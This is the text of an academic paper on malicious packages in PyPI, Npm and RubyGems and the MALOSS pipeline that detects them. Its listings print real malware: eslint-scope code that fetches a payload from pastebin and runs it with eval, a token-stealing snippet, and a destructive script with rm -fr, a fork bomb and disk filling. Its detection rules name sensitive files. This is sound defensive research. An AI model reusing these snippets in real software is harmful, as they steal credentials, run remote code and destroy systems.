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Abstract—Package managers have become a vital part of the
modern software development process. They allow developers
to reuse third-party code, share their own code, minimize their
codebase, and simplify the build process. However, recent reports
showed that hundreds of malware have sneaked into package
managers, which have been downloaded millions of times, posing
significant security risks to developers as well as end-users.
For example, eslint-scope, a package with millions of weekly
downloads in Npm, was compromised to steal credentials from
developers.
To understand the attacks on package managers and the
misplaced trust that makes them possible, we propose a compar-
ative framework to study the package managers for interpreted
languages. By systematically analyzing the recent attacks using
our framework, we can identify security gaps and broken trust
in the package manager ecosystem. Based on these insights, we
propose and implement a vetting pipeline, MALOSS, to perform
metadata, static and dynamic analysis on packages and flag the
suspicious ones. Through iterative labeling, we identified and
reported 339 malware to package manager maintainers. 278 (82
percent) of them have been confirmed and removed, and 3 of
them with more than 100,000 downloads have been assigned
CVEs. To help secure the ecosystem, we propose actionable
security improvements for package manager maintainers and
suggestions for other stakeholders.
I. INTRODUCTION
Many modern web applications rely on interpreted program-
ming languages because of their rich libraries and packages.
Registries (also known as package managers) like PyPI, Npm,
and RubyGems provide a centralized repository that develop-
ers can search and install add-on packages to help in develop-
ment. For example, developers building a web application can
rely on Python web frameworks like Django [1], web2py [2],
and Flask [3] to provide boilerplate code for rapid develop-
ment. Not only have registries made the development process
more efficient, but also they have created a large community
that collaborates and shares open-source code. Unfortunately,
miscreants have found ways to infiltrate these communities and
infect benign popular packages with malicious code that steal
credentials [4], install backdoors [5], and even abuse compute
resources for cryptocurrency mining [6].
The impact of this problem is not isolated to small one-off
web apps, but large websites, enterprises, and even government
organizations that rely on open-source interpreted program-
ming languages for different internal and external applications.
Attackers can infiltrate well-defended organization by simply
subverting the software supply chain of registries. For exam-
ple, eslint-scope [4], a package with millions of weekly
downloads in Npm, was compromised to steal credentials
from developers. Similarly, rest-client [5], which has over
one hundred million downloads in RubyGems, was compro-
mised to leave a Remote-Code-Execution (RCE) backdoor
on web servers. These attacks demonstrate how miscreants
can covertly gain access to a wide-range of organizations by
carrying out a software supply chain attack.
Security researchers [7] are aware of these attacks and have
proposed several solutions to address the rise of malicious
software in registries. Zimmermann et al. [8] systematically
studied 609 known security issues and revealed a large attack
surface in the Npm ecosystem. BreakApp [9], on the other
hand, isolates untrusted packages, which addresses credential
theft and prevents access to sensitive data, but does not
stop cryptocurrency mining or backdoors. Additionally, many
solutions [10]–[12] assume developers are benign which does
not apply to malware. To make matters worse, some attacks
are very sinister and use social engineering techniques [13],
[14] to disguise themselves by first publishing a “useful”
package, then waiting until it is used by their target to
update it and include malicious payloads. Although, many
security researchers are investigating attacks on registries and
proposing solutions, very little is done to understand the root
cause problem that makes these attacks easy to carry out.
For example, are attacks different across registries? What
are the most common attacks observed in the past? Can we
apply well-known security principles to solve these problems?
Why is it difficult to analyze interpreted language packages
and identify malicious intent? These questions motivate our
work to study the software supply chain attacks on registries
in depth and carry out a cross-language comparative analysis
to answer our questions.
To this end, we propose a framework that highlights key
functionality, security mechanisms, stakeholders, and remedi-
ation techniques to comparatively analyze different registry
ecosystems. We use our framework to look at what features
registries provide, what security principles are enforced, how is
trust delegated between different parties, and what remediation
and contingency plans registries have in place for post-attack.
We leverage our findings to provide practical action items
that registry managers can enforce using pre-existing tools and
security principles that will make it difficult for attackers to
subvert the software supply chain. We document a set of tools
and techniques that we formalized into an analysis pipeline
for the community to help analyze packages and identify
ar
X
iv
:2
00
2.
01
13
9v
1 
 [c
s.C
R]
  4
 Fe
b 2
02
0
suspicious behavior.
Our vetting pipeline, MALOSS, leverages, metadata, static,
and dynamic analysis to find suspicious packages in registries
that can be manually verified. Initially, we assumed vetting
techniques in the Google Play Store [15] and Apple’s App
Store [16] can be reused, but we found that to be a naive as-
sumption. One of the challenges for analyzing interpreted lan-
guage packages is that they rely on other dependencies, which
can differ by name and version making hard to pinpoint the
specific malicious version. The nature of interpreted languages
allows for dynamic typing and dynamic code generation,
which cannot be accurately analyzed using static approaches.
Our intention for MALOSS, is to give researchers and registry
maintainers a modular pipeline that can be extended and
support newly discovered malicious techniques.
Our comparative analysis identified common problems
across the different registries that registry maintainers can
remediate using existing practical changes. For example, PyPI
and Npm can learn from RubyGems and add typo detection
at the client-side to minimize accidental errors of developers.
MALOSS analyzed over one million packages from PyPI,
Npm, and RubyGems and identified 7 malicious packages in
PyPI, 41 malicious packages in Npm, and 291 malicious pack-
ages in RubyGems. We reported these packages to registry
maintainers and had 278 of them removed, over 82%. Three
of the reported malicious packages had over 100K installs and
they were assigned an official CVE number. We dive deep
into a couple of packages to demonstrate the sophistication of
these malicious packages and present their infection vectors,
capabilities, and persistence. Lastly, we perform a passive-
DNS measurement analysis to show how widely spread the
infections are.
II. AN OVERVIEW OF REGISTRY ABUSE
We present a selected list of supply chain attacks in
Figure 1, spanning across different types of registries (e.g.
interpreted languages, system-wide). In 2016, Tschacher [7]
demonstrated a proof-of-concept attack against package man-
agers. The attack used typosquatting, which is a technique
that misspells the name of a popular package and waits for
users installing the popular package to typo the name (hence
typosquatting) resulting in the installation of the malicious
package instead. As of August 2019, there were more than
300 malicious packages reported and removed in different
registries (PyPI, Npm, RubyGems, etc.). In Figure 2, we aggre-
gate the number of malicious packages uploaded into registries
and their corresponding download counts. We note that these
counts are documented/detected attacks, which is a subset of
all the attacks (known and unknown). Figure 2 shows that in
2018 alone there were more than 100 malicious packages that
had more than a cumulative 600 million downloads.
Typosquatting is just one type of attack, a more recent report
by Snyk [17], a vulnerability analysis platform, classified three
types of attacks, namely typosquatting, account hijacking, and
social engineering. Hijacking is account compromise through
credential theft and social engineering is a deceptive tactic
to trick owners of package repositories to transfer ownership.
The report highlights that typosquatting is the most common
attack tactic because most registries do not enforce any se-
curity policies as shown by Loden [18]. Account hijacking
takes place because of weak credentials that attackers can
guess and social engineering attacks exploit the collaborative
nature of open-source projects as seen in many attacks [13],
[14], [19]. Unfortunately, the focus of the community has
been on finding bugs in package code through platforms
like Synode [10], NodeCure [11], and ReDoS [12]. Recent
efforts by BreakApp [9] use runtime isolation of untrusted
packages, but suffers from practicality and cannot deal with
cryptojacking attacks. Registry maintainers are aware of these
issues and have taken initiative to implement some security
enhancements such as package signing [20] and two-factor
authentication [21]. Despite these commendable efforts, Fig-
ure 2 shows the number of malicious packages in registries is
on the rise.
III. COMPARATIVE FRAMEWORK
This section presents our framework that enables a com-
parative analysis of three popular registries for interpreted
languages. The framework is inspired by modeling the man-
agement and development process in the package management
ecosystem and consists of four primary stakeholders. In the
framework, we examine three aspects of registries, namely
functional, review and remediation. Additionally, we outline
threats that currently affect the ecosystem and show how it
applies to our framework.
A. Stakeholders
Registries are platforms for code sharing and play an essen-
tial role in the software development process. Four primary
stakeholders are involved in developing, managing and using
packages from registries, namely Registry Maintainers (RM),
Package Maintainers (PM), Developers (Dev) and End Users
(EU). The simplified relationships among them are sketched
in Figure 3. Note that the stakeholders described above can be
thought of as roles, which can be assigned to a single person.
Registry Maintainers. Registry maintainers are responsible
for running registries, which are centralized repositories that
host packages developed by package maintainers. Registries
provide search and install capabilities for developers (Dev)
to help organize packages in a central repository. Registry
maintainers require package maintainers to signup before they
are allowed to publish (write) their package. On the other hand,
developers (Dev) can query and install (read) from the registry
with or without signup.
Package Maintainers. Package maintainers are responsible
for developing, maintaining and managing packages. Package
maintainers typically use a code hosting platform like GitHub
to manage their development and collaborate with other con-
tributors. They may receive pull requests from contributors
interested in their projects, thus allowing community support
for enhancement and maintenance.
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rest-client (RubyGems)
webmin (SourceForge)
purescript (Npm)
strong_password (RubyGems)
37 typosquatting packages (Npm)
electron-native-notify (Npm)
48 typosquatting packages (Npm)
bootstrap-sass (RubyGems)
AndroidAudioRecorder (JCenter)
event-stream (Npm)
12 typosquatting packages (PyPI)
active-support (RubyGems)
eslint-scope (Npm)
acroread, balz and minergate (AUR)
17 backdoored docker images (DockerHub)
2048buntu (Snappy)
18 typosquatting packages (PyPI)
ssh-decorate (PyPI)
getcookies (Npm)
10 typosquatting packages (PyPI)
14 npm packages reported by Duo (Npm)
40 typosquatting packages (Npm)
typosquatting thesis (Npm/PyPI/RubyGems)
Fig. 1: Selected supply chain attacks on package managers sorted by date of reporting.
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Fig. 2: The number of malware and
their downloads aggregated by year of
uploading as of August 2019.
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Fig. 3: Simplified relationships of stakeholders and threats in the package manager ecosystem.
Developers. Developers are consumers of published packages
and are responsible for finding the right packages to use in
their software and releasing their products to end-users. Dev
focus on developing unique features in their software and
reuse packages from registries for common functionalities.
Also, Dev are responsible for addressing relevant issues arising
from reused packages, such as known vulnerabilities and
incompatibilities.
End Users. Although not directly interacting with registries,
end users are still one important stakeholder in the ecosystem.
EU are at the downstream and use services or applications
from Dev via tools such as browsers, mobile devices or
Internet-of-Things (IoT) devices. They usually have no control
of software, but can be affected by them.
B. Registry Features
Registries are the core component of package manager
ecosystems and provide features such as package hosting and
account protection. Since different registries may implement
different features, we, therefore, list three popular registries
for interpreted languages in Table I, namely PyPI, Npm,
RubyGems, and systematically compare their features. We
classify registry features into three categories, namely func-
tional, review and remediation.
Functional Features. As shown in Figure 3, PM, as suppliers,
access accounts and publish and manage their packages on
registries, and Dev, as consumers, select and install packages
from registries as dependencies. Each registry has a different
way of installing packages on Dev’s system and provides
different capabilities to allow PM to ship code.
● Access: refers to how registries authenticate PM to pub-
lish a package. We look at account security-related fea-
tures such as public-key authentication and multi-factor
authentication (MFA).● Publish: refers to how packages are packaged and re-
leased to registries. We look at release approaches such
TABLE I: Framework for comparison of registries.
Features RegistriesPyPI Npm RubyGems
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s Password    
Access Token H#   
Public Key Auth # # #
Multi-Factor Auth H# H# H#
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h
Upload    
Reference # # #
Signing H# H# H#
Typo Guard #   
Namespace # H# #
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e Yank Package H# H# H#
Deprecate Package # H# H#
Add Collaborator H# H# H#
Transfer Ownership H# H# H#
Se
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ct
Reputation    
Code Quality # # #
Security Practice # # #
Known Issue # # #
Typo Detection # #  
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l Hook  H# #
Dependency Locking # H# H#
Native Extension H# H# H#
Embedded Binary H# H# H#
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a Dependency Check # # #
Update Inspection # # #
Binary Inspection # # #
PM Account # # #
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Logical Lint # # #
Suspicious Logic # # #
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ic Install # # #
Embedded Binary # # #
Import # # #
Functional # # #
R
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e Package    
Publisher    
Installed Package # # #
N
ot
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y PM # # #
Dependent PM # # #
Dev # # #
Advisory DB #   
unsupported - #, optional - H#, enforced -  
as upload by PM and reference through package develop-
ment repository. We also look at packaging features such
as signing and naming rules such as typo guard.
3
● Manage: refers to how packages are managed and what
controls are allowed on packages. Controls can include
removing the package by version, deprecating the pack-
age, or adding authorized collaborators.● Select: refers to rating or reputation score that helps Dev
select which packages to trust and add as dependencies.
We look at criteria related to the rating and reputation of
repositories and authors.● Install: refers to how packages are installed by Dev. We
look at features such as install hooks which can run
additional code, dependency locking which can specify
secure dependencies, and if the package can contain
native extensions or embedded binaries which may have
proprietary code. Note that native extension compilation,
which is supported in RubyGems, enables install hooks.
Review Features. We define review features that registries
implement to proactively secure user access and detect vul-
nerable and malicious packages. We list three main categories
of analysis, namely metadata, static and dynamic analysis.
Unfortunately, none of them are currently supported.● Metadata: refers to metadata analysis of a given package,
which includes dependency analysis, author information,
update history, and additional packaged components.● Static: refers to performing lint for stylistic and logical
code analysis. This can include finding vulnerable or
malicious code. Also, it includes scanning binary com-
ponents with anti-virus (AV) solutions.● Dynamic: refers to analyzing behaviors of a package by
installing it, executing the embedded binaries, import-
ing its modules, and invoking exported functions. This
process includes monitoring system behaviors, such as
network calls, process operations and filesystem calls for
suspicious activities such as access to sensitive files.
Remediation Features. Once RM have identified abnormal
signals that warrant further investigation, a security team
investigates the incident case and carries out removal and
notification based on the findings.● Remove: refers to how proactive RM are with removing
a package based on a report. Basic operations include re-
moving the affected package and disabling the publisher’s
account, while proactive operations include removing
from installed packages.● Notify: refers to the mechanism in which RM notify the
public of the offending package. This includes how do
they notify. For example, RM can create an issue on
the git repo to notify PM, or alternatively, contact PM
via email. This also includes whom do they notify. For
example, RM can notify public victims such as PM of
the offending package and its dependents. More proactive
notifications would seek to notify Dev and publishing
advisories to inform other dependents and suggest fixes.
We manually evaluated each feature under the functional
section in Table I. For the review and remediation features
we contacted registry maintainers directly to report malicious
packages that we identified with our pipeline. Based on our
information exchange, we noted their responses such as what
they have in place to detect or flag suspicious packages, and
document them in the review and remediation section of Ta-
ble I. Moreover, we collected information from presentations
and blogs that disclosed the security practices of registries.
C. Threat Model
As highlighted in Figure 3, we consider supply chain attacks
that aim at exploiting upstream stakeholders (i.e. PM and RM)
in the package manager ecosystem, to amplify their impacts
on downstream stakeholders (i.e. Dev and EU). We investigate
existing reports of supply chain attacks and elaborate on their
attack vectors and malicious behaviors.
Attack Vectors. Several threats subvert the package manage-
ment supply chain ecosystem. We define them as follows and
annotate them with attack numbers in Figure 3.
● Registry Exploitation 2 : refers to exploiting a vulner-
ability in the registry service that hosts all the packages
and modifying or inserting malicious code [22], [23].● Typosquatting 2 : refers to packages that have mis-
spelled names similar to popular packages in hope that
Dev incorrectly specify their package instead of the
intended package [7], [18], [24]. This also includes squat-
ting popular names across registries and platforms (also
called package masking [25]), in the hope that Dev falsely
assume their presence on a particular registry [26], [27].● Publish 2 : refers to directly publishing packages without
expectation of typos. This can be used for bot tracking
or malware-hosting [28].● Account Compromise 3 : refers to compromising PM
accounts on the registry portal, allowing the attacker to
replace the package with a malicious package or release
malicious versions [4], [5], [29]–[31].● Infrastructure Compromise 1 : refers to the compro-
mise of development, integration and deployment infras-
tructure of PM, allowing the attacker to inject malicious
code into packages [32].● Disgruntled Insider 4 : refers to authorized PM that
insert malicious code or attempt to sabotage the package
development [33].● Malicious Contributor 4 : refers to a benign package
that receives a bug fix or an improvement that includes
additional vulnerable or malicious code [14].● Ownership Transfer 3 4 : refers to packages that are
abandoned and reclaimed or the original owner transfers
responsibility to new owners for future development [13],
[19]. The transfer can happen both at code hosting sites
and registries.
Malicious Behaviors. In supply chain attacks, we consider
victims as downstream stakeholders such as Dev and EU
in Figure 3. Dev can be exploited to steal their credentials
or harm their infrastructure. Dev can also be exploited as
a channel to reach EU through their applications or ser-
vices. When EU use applications or services provided by
compromised Dev, they can also be exploited to steal their
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credentials or harm their devices. We refer to descriptions of
existing malware in advisories and blogs and summarize their
malicious behaviors into the following list.● Stealing: refers to harvesting sensitive information and
sending them back to attackers. Various types of infor-
mation can be collected or stolen, ranging from less-
sensitive machine identifiers which can be used for track-
ing sensitive information [34] including secret tokens [4],
cryptocurrencies [14], passwords and even credit cards
which may lead to further compromise or financial loss.● Backdoor: refers to leaving a code execution backdoor
on victim machines. The backdoor can be implemented
in various ways. It can be code generation (e.g. eval) of a
specific attribute (e.g. cookie) [30], a specific payload [5],
or a reverse shell that allows any command [35].● Sabotage: refers to the destroying of system or resources.
This is less severe in the browser due to isolation, but
critical on developer infrastructure and end-user devices.
This can be done for profit and fun. The common thing
is to destroy the system by removing or encrypting the
filesystem and ask for money (ransomware) [28].● Cryptojacking: refers to exploiting the computing power
of victim machines for crypto-mining. The cryptojacking
behavior [6] is a rising family of malware that is also
seen in browsers [36] and other platforms [35], [37].● Virus: refers to spreading malware by leveraging the fact
that a person can be Dev and PM at the same time to
infect packages maintained by him [38].● Proof-of-concept: refers to packages without real harm,
but rather proof-of-concept that aims at demonstrating
something malicious can be done [38].
D. Broken Trust and Security Gaps
TABLE II: Trust model changes for stakeholders in the pack-
age manager ecosystem.
SH/T C PM RM Dev EU
PM  → H#  → H#  
RM  → H#  → H#
Dev  #
EU  
no trust - #, majority trust - H#, complete trust -  
SH: Stakeholder, T: Trustee, C: Contributors
We further analyze the enumerated threats in §III-C under
the supply chain model in Figure 3. Registry exploitation is
caused by the implementation errors of RM, but it is hard to
launch and rarely seen. Typosquatting and publish are caused
by the implicit trust in PM by RM to act benignly. Account
compromise is caused by careless PM and missing support of
MFA and abnormal account detection by RM. Infrastructure
compromise, disgruntled insider and malicious contributor are
caused by insufficient security mechanism of PM and implicit
trust in PM by RM to secure their code and infrastructure.
Ownership transfer is caused by the implicit trust in new
owners by PM and RM to act benignly.
The security gaps require enhancement to the ecosystem
and are straightforward to fix. To better understand the broken
trust, we listed the trust model changes for stakeholders in
Table II. RM are central authorities in the ecosystem, so
PM and Dev would have to trust RM to act benignly and
responsibly. But on the contrary, although RM can still trust
the majority of PM and Dev as a community, RM should not
trust all of them due to potential attackers. PM interact with
contributors and other PM and should also weaken their trust
to the majority of them, due to potential malicious contributors
and disgruntled insiders. Dev and EU, as downstream users
in the ecosystem, would have to trust the benign intent of
upstream stakeholders, although they may add some security
mechanisms for protection. On the other hand, Dev interact
with EU from all over the Internet and have no trust in them.
E. Challenges For Vetting Packages
RM, as central authorities in the ecosystem, are responsible
and capable of improving the ecosystem. Inspired by vetting
and review processes of mobile stores [15], [16], we anticipate
that an automated vetting pipeline, namely MALOSS, which
can be adopted by RM, would reveal suspicious and malicious
behaviors of packages. However, to design such a pipeline for
package managers, there are several unique challenges.
First, packages in registries may have a large number of
dependencies. For example, eslint and electron both reuse
over 100 packages on Npm, including indirect dependencies.
Directly applying static analysis to them not only incurs
significant time and space overhead, but also wastes computing
resources in repeatedly analyzing commonly used packages.
Inspired by StubDroid [39], MALOSS addresses this challenge
by proposing modularized static analysis to summarize depen-
dencies into formats that can be directly reused for further
static analysis. Second, the nature of interpreted languages
allows for dynamic typing and dynamic code generation,
indicating that static analysis algorithms such as type infer-
ence and points-to analysis are inaccurate. To account for
such inaccuracies, MALOSS employs hybrid analysis, which
includes metadata, static, and dynamic analysis, to flag sus-
picious packages: MALOSS checks anomalies and aggregate
similar packages in metadata analysis; reports suspicious APIs
and information flows in static analysis; installs, executes,
imports and interacts with packages to reveal their behaviors in
dynamic analysis. The reported suspicious packages are then
iteratively checked for their maliciousness.
IV. PACKAGE ANALYSIS TOOLS
In this section, we provide details about implementing the
MALOSS vetting pipeline. Figure 4 is an overview of the
workflow and internal components of MALOSS. We divide the
implementation into four components, namely metadata anal-
ysis, static analysis, dynamic analysis, and iterative labeling.
Packages from registries are processed by the three analysis
components to generate intermediate reports which highlight
suspicious activities. The iterative labeling component filters
suspicious packages using heuristic rules and employs a semi-
automated labeling process to flag malware.
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A. Goals and Assumptions
We envision MALOSS as a pipeline that performs au-
tomated analysis to flag suspicious packages, followed by
iterative labeling to check maliciousness and improve heuristic
rules. In the package manager ecosystem, the automated
analysis can be adopted by RM, and the iterative labeling
process can be offloaded to RM and Dev, the majority of whom
can still be trusted as highlighted in Table II.
We begin the design of MALOSS by setting goals and
assumptions. In this work, we focus on vetting public packages
in three package managers for interpreted languages in Table I,
namely PyPI for Python, Npm for JavaScript and RubyGems
for Ruby. Figure 5 explains interactions between packages and
the underlying system, including the runtime environment, li-
braries, and operating system. In MALOSS, metadata analysis
focuses on correlating packages based on various information
such as releases and authors, which allows identification of
packages similar to known malware; static analysis focuses
on checking interactions between packages and the runtime
environment, which allows identification of suspicious API
invocations and information flows such as code generation
using data from network; dynamic analysis focuses on running
packages and tracing system calls and their arguments during
execution, which allows tracing of sensitive operations such as
read of /etc/passwd. The three analyses unveil different views
of packages and are combined to flag suspicious packages
for iterative labeling. Using the MALOSS pipeline, we aim at
identifying malware in the wild, as well as understanding their
attack vectors and malicious behaviors. We assume registry
maintainers are trusted, implying that any malware reported
can be attributed to one of the attack vectors in §III-C. We
assume packages are installed, imported and used by devel-
opers, rather than installed for further development, implying
that only runtime dependencies need to be considered.
B. Metadata Analysis
Metadata analysis focuses on collecting auxiliary infor-
mation (e.g. package name, author, release, downloads, and
dependencies) of packages and aggregating them based on
different criteria. All information are directly retrieved from
registry APIs. Note that, for Npm, we collect downloads
for the past three years, since Npm API only allows range
queries for downloads. Metadata analysis can flag suspicious
packages, as well as identify packages similar to known
malware. For example, using edit distance of package names,
metadata analysis can group packages based on their names,
allowing pinpointing of typosquatting candidates of popular
packages. Using author information, metadata analysis can
group packages based on authors, allowing identification of
packages from known malicious authors.
C. Static Analysis
The static analysis focuses on analyzing source files of the
corresponding interpreted language for each package man-
ager and skips embedded binaries and native extensions. The
analysis consists of three components, manual API labeling,
API usage analysis, and taint flow analysis. To allow efficient
processing of packages with a large number of dependencies,
we perform modularized analysis using package summaries.
Manual API Labeling. As highlighted in Figure 5, we focus
on four types of runtime APIs in the static analysis, namely,
network, filesystem, process, and code generation. Network
APIs allow communication over various protocols such as
socket, HTTP, FTP, etc. They have been used to leak sensitive
information [40], fetch malicious payload [5], etc. Filesystem
APIs allow file operations such as read, write, chmod, etc.
They have been used to leak ssh private keys [40], infect other
packages [33] etc. Process APIs allow process operations such
as process creation, termination and permission change. They
have been used to spawn separate malicious processes [6].
Code generation APIs allow runtime code generation and
loading. This includes the infamous eval and others like
vm.runInContext in Node.js, which have been used to load
malicious payload [5], [31].
For the runtime of each registry, we manually go through
their framework APIs and check if they belong to any of the
above categories. To allow taint flow analysis, we further label
them as data sources if they can return sensitive or suspicious
data and data sinks if they can perform suspicious operations
on inputs. Note that an API can be both a source and a sink,
e.g. https.post in Node.js can both retrieve suspicious data and
send out sensitive information. Also, some sink APIs do not
have to be used with a source to perform malicious behaviors.
For example, fs.rmdir in Node.js is a sink and raises a warning
if its argument comes from user input. But even without a
source, fs.rmdir can be used to sabotage user machines by
hardcoding the input path to the root folder. Hence, we need
to identify both suspicious APIs and their flows.
API Usage Analysis. We parse source files of packages
into Abstract Syntax Trees (AST) using state-of-the-art li-
braries [42]–[45] and search for usage of manually labeled
APIs in AST. For APIs in the global namespace (e.g. eval
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try{
var https=require(’https’);
https.get({’hostname’:’pastebin.com’,path:’/raw/
XLeVP82h’,headers:{’User-Agent’:’Mozilla/5.0 (Windows
NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0’,Accept:’
text/html,application/xhtml+xml,application/xml;q
=0.9,*/*;q=0.8’}},(r)=>{
r.setEncoding(’utf8’);
r.on(’data’,(c)=>{
eval(c);
});
r.on(’error’,()=>{});
}).on(’error’,()=>{});
}catch(e){}
Listing 1: eslint-scope [4] downloads malicious payload
via https.get and executes via eval.
const request = require(’request’);
...
login(token = this.token) {
try {
request({
...
form: { ’token’: token }
}, (err, res, body) => { if (err) {}; }); }
...
}
Listing 2: discord.js-user [41] steals discord tokens via
its dependency request.
for Python), we match them against function calls using their
names. For APIs that are static methods of classes or exported
functions of modules (e.g. vm.runInContext for Node.js), we
identify their usage by tracking aliases of classes or modules
and matching their full names. For APIs that are instance
methods of classes, since identifying them in dynamically
typed languages is an open problem, we make a trade-off
and identify their usage in two ways: method name only and
method name with the default instance name. Although the
former can overestimate and the latter can have both false
positives and false negatives, we argue that they are still
useful in estimating API usage. For example, by processing
the malicious code snippet of eslint-scope in Listing 1,
we can identify static method https.get which downloads the
malicious payload and global function eval which executes it.
Besides, packages can have dependencies and invoke sus-
picious APIs indirectly via functions exported by their depen-
dencies. For example, discord.js-user shown in Listing 2
steals discord tokens via its dependency request. An intuitive
solution for handling indirect API usage is to analyze each
package together with their dependencies, but this may lead
to the repeated analysis of common packages and possible
resource exhaustion given too many dependencies. Therefore,
to increase efficiency and reduce failures, we perform modu-
larized API usage analysis which analyzes each package only
once. We first build a dependency tree of all packages and
analyze API usage for ones without dependencies. We then
walk up the dependency tree and combine APIs of packages
and their dependencies. Let Pk denote the APIs of package
k, and i denote the packages that k depends on, we compute
combined APIs of k as ⋃i Pi⋃Pk.
Taint Flow Analysis. To support taint flow analysis while
prototyping MALOSS, we survey and test open-source tools
#!/bin/bash
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
# Try to delete other files on the system
rm -fr $DIR/../..
# Make a large file (50 GiB)
TEMP_DIR="$(mktemp -d)"
dd if=/dev/zero of=$TEMP_DIR/havoc count=52428800 bs=1024
# Fork bomb
:(){ :|: & };:
# Spin
while true do
continue
done
Listing 3: destroyer-of-worlds [28] sabotages the
operating system by abusing filesystem, memory etc.
for each interpreted language and choose PyT [46] for Python,
JSPrime [47] for JavaScript and Brakeman [48] for Ruby.
We adapt these tools to analyze packages with a customized
configuration of sources and sinks, and output identified flows
between any source-sink pair. By using these tools, MALOSS
inherits their limitations in terms of accuracy and scalability,
which we argue can be improved given better alternatives.
With the capability of capturing the dataflow from https.get
to eval in Listing 1, MALOSS can support more expressive
flagging of suspicious packages.
Similar to API usage analysis, taint flow analysis needs
to handle flows out of or into dependencies. Inspired by
StubDroid [39], which propose to summarize dependencies
of Java packages to speedup subsequent taint flow analysis,
we run taint analysis on packages to check if their exported
functions are indirect sources which return values derived
from known sources, or indirect sinks whose arguments prop-
agate into sinks, or propagation nodes which return values
derived from arguments. As we walk up the dependency
tree of all packages, we output identified flows, as well as
indirect sources, indirect sinks and propagation nodes, which
are merged into the customized configuration for subsequent
analyses. For example, we can first summarize the request to
find that its exported function request invokes network sinks
such as https.post and then analyze code in Listing 2 to identify
the malicious flow of leaking token through the network.
D. Dynamic Analysis
Dynamic analysis focuses on executing packages and trac-
ing their interactions with the underlying operating system.
In comparison to static analysis, dynamic analysis consid-
ers source files, as well as embedded binaries and native
extensions, but it does not have visibility into the runtime
environment (e.g. cannot track eval). The analysis consists of
two parts, package execution within Docker [49] containers
for sandboxing and dynamic tracing using Sysdig [50] for
efficiency and usability.
Package Execution. Packages can be used in various ways,
such as standalone tools or libraries, which should be con-
sidered in dynamic analysis. We, therefore, execute packages
in four ways, namely, install, embedded binary, import and
functional. For install, we run the installation command (e.g.
npm install <name>) to install packages, which triggers
customized installation hooks if any and allows attackers to
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act at the user’s privilege. For embedded binary, we run
embedded binaries and executable scripts from packages, since
attackers can include prebuilt binaries or obfuscated code to
obstruct the investigation. For import, we import packages
as libraries to triggers initialization logic where attackers
can tap into. For functional, we fuzz exported functions and
classes of libraries to reveal their behaviors. The current
prototype invokes exported functions, initializes classes with
null arguments, and recursively invokes callable attributes of
modules and objects. We perform the above operations for a
package, on Ubuntu 16.04. We leave advanced fuzzing strate-
gies and support for other operating systems as future work.
While executing packages, we use Docker [49] containers as
sandboxes to protect the underlying system from malware like
destroyer-of-worlds in Listing 3 which abuses system
resources.
Dynamic Tracing. While executing packages, we aim at
capturing their interactions with the underlying system to flag
suspicious behaviors. There are three popular tools, namely
Strace [51], Dtrace [52] and Sysdig [50], to capture system
call traces in Linux-based systems. After cross-comparison,
we choose Sysdig as the tracing tool due to its high efficiency
and good usability. To fully leverage the computing resources,
we analyze multiple packages in parallel, each in a separate
Docker container whose name encodes package information
such as name, version etc. Sysdig captures system call traces
and correlates them with userspace information such as con-
tainer names, thus allowing us to differentiate behaviors from
different containers and packages. While prototyping, we track
system calls related to four types of information, namely IPs,
DNS queries, files, and processes and dump them into files
to allow further processing. Note that, Sysdig can only see
system calls and cannot handle suspicious behaviors within
runtime environment such as dynamic code generation.
E. Iterative Labeling
Iterative labeling is semi-automated and includes an auto-
mated process to flag suspicious packages based on heuristic
rules and a manual process to check maliciousness and update
rules. The updated rules are used to iteratively filter and narrow
down suspicious packages. By learning from existing supply
chain attacks and other malware studies [53], we specify an
initial set of heuristic rules.
Metadata Analysis Rules. First, inspired by typosquatting,
we flag packages whose names are similar to popular ones
in the same registry or the same as popular ones in other
registries but with different authors. Second, inspired by the
idea of leveraging malware seeds to find new ones, we flag
packages if they depend on known malware or have similar
authors and release patterns.
Static Analysis Rules. First, inspired by that malware usually
execute malicious code during installation, we flag packages
with customized installation logic. Second, inspired by that
account compromise-based malware usually keep existing
benign versions and release new malicious versions, we flag
packages if recently released versions use previously unseen
network or code generation APIs. Third, inspired by that
malware exhibiting stealing and backdoor behavior usually
involves network activities, we flag packages with certain types
of flows, such as flows from filesystem sources to network
sinks and from network sources to code generation sinks.
Dynamic Analysis Rules. First, inspired by behaviors such as
stealing and backdoor need network communication, we flag
packages that contact unexpected IPs or domains, where ex-
pected ones are derived from official registries (e.g. pypi.org)
and code hosting services (e.g. github.com). Second, inspired
by malicious behaviors usually involve access to sensitive
files, we flag packages if they write to or read from such
files (e.g. /etc/sudoers, /etc/shadow). Third, inspired by that
cryptojacking usually spawn a process for cryptomining, we
flag packages with unexpected processes, where expected ones
are initialized to registry clients (e.g. pip).
Nevertheless, to provide evidence for RM or PM to take
action, we have to manually investigate suspicious packages
to confirm their maliciousness or label them as false positives
to help update heuristic rules. To avoid re-computation when
rules are updated, we cache the output of metadata, static
and dynamic analysis. We iteratively perform the automated
filtering process based on rules and the manual labeling
process, to report malware.
V. FINDINGS
A. Experiment Setup
Environment. We use 20 local workstations running Ubuntu
16.04 with 64GB memory and 8 x 3.60GHz Intel Xeon CPUs
to download and analyze all packages and their versions from
the PyPI, Npm and RubyGems. We use network-attached
storage (NAS) server with 60TB disk space to provide shared
storage to all the workstations. We use the NAS server to
mirror packages and their metadata from registries and store
analysis results. The registry mirrors allow us to obtain copies
of malware even if they are taken down.
Tools and Data Sets. For metadata analysis, we collect
auxiliary information for packages and their versions from
official registry APIs. For static analysis, we rely on open
source projects for AST parsing [42]–[45] and taint flow
analysis [46]–[48], [54]. To perform modularized analysis,
we build a dependency tree for each registry and schedule
analysis of packages in dependency trees using Airflow [55],
which is capable of scheduling directed acyclic graphs (DAGs)
of tasks. For dynamic analysis, we rely on Docker [49] for
sandboxing and Sysdig [50] for a deep system-level tracing.
We use Celery [56] to schedule analyses of packages.
B. Package Statistics
We use the MALOSS pipeline to process over one million
packages from PyPI, Npm and RubyGems as presented in
Table III. Through an iterative labeling process, we identified
7 malware in PyPI, 41 malware in Npm and 291 malware
in RubyGems. We reported these 339 malware respectively
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TABLE III: Statistics of analyzed packages in registries.
PyPI Npm RubyGems
# of Packages 186,785 997,561 151,783
# of Package Versions 809,258 4,388,368 629,116
# of Package Maintainers† 67,552 284,009 51,505
† The number of package maintainers may not match the number of
users in registries as not all users publish packages.
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Fig. 6: Statistical comparison of metadata analysis among
registries. D-deps: Direct dependencies, I-deps: Indirect de-
pendencies.
